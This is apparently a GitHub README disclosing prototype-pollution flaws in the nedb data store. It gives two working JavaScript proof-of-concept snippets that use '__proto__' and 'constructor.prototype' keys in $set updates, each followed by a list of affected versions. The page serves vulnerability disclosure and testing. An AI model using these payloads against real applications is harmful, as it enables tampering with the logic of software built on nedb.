Skip to content

Latest commit

 

History

History
37 lines (28 loc) · 1.94 KB

README.md

File metadata and controls

37 lines (28 loc) · 1.94 KB

nedb

File-based embedded data store for node.js

Latest version: 1.8.0

Exploits

const Datastore = require("nedb");
const db = new Datastore();

db.insert({foo: 'bar'}, (err) => {
    if (err) throw err;
    db.update({foo: 'bar'}, {$set: {'__proto__.a': 'b'}}, {}, (err) => {
        if (err) throw err;
        if (({}).a === 'b') console.log('exploitable');
    });
});

Vulnerable versions: 0.6.1 0.6.2 0.7.0 0.7.1 0.7.2 0.7.3 0.7.4 0.7.5 0.7.6 0.7.7 0.7.8 0.7.9 0.7.10 0.7.11 0.7.12 0.7.13 0.7.14 0.7.15 0.8.0 0.8.1 0.8.2 0.8.3 0.8.4 0.8.5 0.8.6 0.8.7 0.8.8 0.8.9 0.8.10 0.8.11 0.8.12 0.8.13 0.9.1 0.9.2 0.9.3 0.9.4 0.10.0 0.10.1 0.10.2 0.10.3 0.10.4 0.10.5 0.10.6 0.10.7 0.10.9 0.10.10 0.10.11 0.11.0 0.11.1 0.11.2 1.0.0 1.0.1 1.0.2 1.1.0 1.1.1 1.1.2 1.1.3 1.1.4 1.2.0 1.2.1 1.3.0 1.4.0 1.5.0 1.5.1 1.6.0 1.6.1 1.6.2 1.7.1 1.7.2 1.7.3 1.7.4 1.8.0

const Datastore = require("nedb");
const db = new Datastore();

db.insert({foo: 'bar'}, (err) => {
    if (err) throw err;
    db.update({foo: 'bar'}, {$set: {'constructor.prototype.a': 'b'}}, {}, (err) => {
        if (err) throw err;
        if (({}).a === 'b') console.log('exploitable');
    });
});

Vulnerable versions: 0.6.1 0.6.2 0.7.0 0.7.1 0.7.2 0.7.3 0.7.4 0.7.5 0.7.6 0.7.7 0.7.8 0.7.9 0.7.10 0.7.11 0.7.12 0.7.13 0.7.14 0.7.15 0.8.0 0.8.1 0.8.2 0.8.3 0.8.4 0.8.5 0.8.6 0.8.7 0.8.8 0.8.9 0.8.10 0.8.11 0.8.12 0.8.13 0.9.1 0.9.2 0.9.3 0.9.4 0.10.0 0.10.1 0.10.2 0.10.3 0.10.4 0.10.5 0.10.6 0.10.7 0.10.9 0.10.10 0.10.11 0.11.0 0.11.1 0.11.2 1.0.0 1.0.1 1.0.2 1.1.0 1.1.1 1.1.2 1.1.3 1.1.4 1.2.0 1.2.1 1.3.0 1.4.0 1.5.0 1.5.1 1.6.0 1.6.1 1.6.2 1.7.1 1.7.2 1.7.3 1.7.4 1.8.0